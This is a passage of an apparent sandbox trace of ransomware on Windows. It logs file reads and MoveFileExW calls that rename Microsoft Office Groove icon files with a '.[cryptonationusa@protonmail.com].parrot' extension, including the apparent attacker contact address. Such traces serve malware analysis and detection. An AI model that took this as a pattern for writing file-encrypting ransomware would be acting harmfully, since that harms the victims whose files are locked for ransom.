ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALERT.ICO", cAlternateFileName="")) returned 1 [0194.021] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.021] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.022] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.022] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa2e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xa2e, lpOverlapped=0x0) returned 1 [0194.023] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.023] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\alert.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\alert.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.027] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a9698 | out: hHeap=0x5b0000) returned 1 [0194.027] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a33f0 | out: hHeap=0x5b0000) returned 1 [0194.027] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0194.029] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.029] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.030] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.031] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb2e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb2e, lpOverlapped=0x0) returned 1 [0194.031] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.031] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\chevron.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\chevron.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.035] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a9698 | out: hHeap=0x5b0000) returned 1 [0194.035] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a33f0 | out: hHeap=0x5b0000) returned 1 [0194.035] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0194.037] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.037] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.038] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.038] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa2e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xa2e, lpOverlapped=0x0) returned 1 [0194.039] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.039] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\COMPUTER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\computer.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\COMPUTER.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\computer.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2297a90 | out: hHeap=0x5b0000) returned 1 [0194.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a33f0 | out: hHeap=0x5b0000) returned 1 [0194.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0194.044] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.044] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.048] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.049] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xea6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xea6, lpOverlapped=0x0) returned 1 [0194.049] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.049] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ContactSelector.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\contactselector.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ContactSelector.ico.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\contactselector.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.053] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2297a90 | out: hHeap=0x5b0000) returned 1 [0194.053] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a33f0 | out: hHeap=0x5b0000) returned 1 [0194.053] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0194.055] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.055] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.057] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.057] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6b6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x6b6, lpOverlapped=0x0) returned 1 [0194.057] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.058] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrorfromgroove.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\gfserrorfromgroove.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrorfromgroove.ico.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\gfserrorfromgroove.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.061] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f6a60 | out: hHeap=0x5b0000) returned 1 [0194.061] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a33f0 | out: hHeap=0x5b0000) returned 1 [0194.061] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af250 | out: hHeap=0x5b0000) returned 1 [0194.063] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.063] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.064] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.065] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6b6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x6b6, lpOverlapped=0x0) returned 1 [0194.065] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.065] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrortogroove.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\gfserrortogroove.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrortogroove.ico.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\gfserrortogroove.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f6a60 | out: hHeap=0x5b0000) returned 1 [0194.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a33f0 | out: hHeap=0x5b0000) returned 1 [0194.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af250 | out: hHeap=0x5b0000) returned 1 [0194.070] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.070] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.071] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.071] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x294dd, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x294dd, lpOverlapped=0x0) returned 1 [0194.078] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.081] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\GWE.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\gwe.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\GWE.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\gwe.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.085] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a9698 | out: hHeap=0x5b0000) returned 1 [0194.085] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a33f0 | out: hHeap=0x5b0000) returned 1 [0194.085] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64f0 | out: hHeap=0x5b0000) returned 1 [0194.138] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.138] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.140] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.140] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6b6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x6b6, lpOverlapped=0x0) returned 1 [0194.140] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.141] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INCOMING.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\incoming.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INCOMING.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\incoming.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.145] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2297a90 | out: hHeap=0x5b0000) returned 1 [0194.145] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a33f0 | out: hHeap=0x5b0000) returned 1 [0194.145] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af250 | out: hHeap=0x5b0000) returned 1 [0194.147] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.147] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.148] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.148] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x13e, lpOverlapped=0x0) returned 1 [0194.148] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.149] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INDOMAIN.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\indomain.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INDOMAIN.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\indomain.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.152] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2297a90 | out: hHeap=0x5b0000) returned 1 [0194.152] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a33f0 | out: hHeap=0x5b0000) returned 1 [0194.152] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6049a8 | out: hHeap=0x5b0000) returned 1 [0194.154] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.154] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.156] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.156] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa2e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xa2e, lpOverlapped=0x0) returned 1 [0194.156] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.156] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MAIL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\mail.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MAIL.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\mail.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.159] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a9698 | out: hHeap=0x5b0000) returned 1 [0194.159] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a33f0 | out: hHeap=0x5b0000) returned 1 [0194.159] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0194.161] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.161] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.163] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.163] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x13e, lpOverlapped=0x0) returned 1 [0194.163] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.163] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MANUAL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\manual.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MANUAL.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\manual.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.168] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.168] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.170] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.170] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb2e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb2e, lpOverlapped=0x0) returned 1 [0194.170] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.171] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxalert.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\messageboxalert.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxalert.ico.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\messageboxalert.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.175] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.175] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.179] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.179] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb2e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb2e, lpOverlapped=0x0) returned 1 [0194.179] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.182] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxerror.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\messageboxerror.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxerror.ico.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\messageboxerror.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.187] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.188] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.189] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.189] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb2e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb2e, lpOverlapped=0x0) returned 1 [0194.189] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.190] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxinfo.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\messageboxinfo.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxinfo.ico.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\messageboxinfo.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.194] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.194] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.196] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.196] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9f6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x9f6, lpOverlapped=0x0) returned 1 [0194.196] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.197] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ModifiedTelespace.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\modifiedtelespace.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ModifiedTelespace.ico.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\modifiedtelespace.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.201] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.201] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, 